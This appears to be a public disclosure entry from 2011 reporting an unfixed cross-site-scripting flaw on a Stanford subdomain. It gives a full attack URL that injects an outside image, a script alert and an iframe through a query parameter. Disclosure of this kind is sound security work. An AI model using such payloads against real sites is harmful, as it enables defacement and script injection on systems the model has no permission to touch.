Security researcher Sony, has submitted on 17/12/2011 a cross-site-scripting (XSS) vulnerability affecting ncbolabs-dev1.stanford.edu, which at the time of submission ranked 1059 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 17/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 17/12/2011 |
Date published: 17/12/2011 |
Fixed? Mail us! | Status: UNFIXED |
Author: Sony |
Domain: ncbolabs-dev1.stanford.edu |
Category: XSS |
Pagerank: 1059 |
URL: http://ncbolabs-dev1.stanford.edu:8080/parsetrees/execute.jsp?query=%22%3E%3Cbody%20background=%22ht tp://www.lenagold.ru/fon/eda/shoko/shoko14.gif%22%3E%3Cscript%3Ealert%28%22Hmm..Chocolate.%20XSS%20B y%20Sony%22%29%3C/script%3E%3Ciframe%20width=%22520%22%20height=%22415%22%20src=%22http://www.youtub e.com/embed/5C24Grhhfy0%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E&type=string |
Click here to view the mirror
|
|
|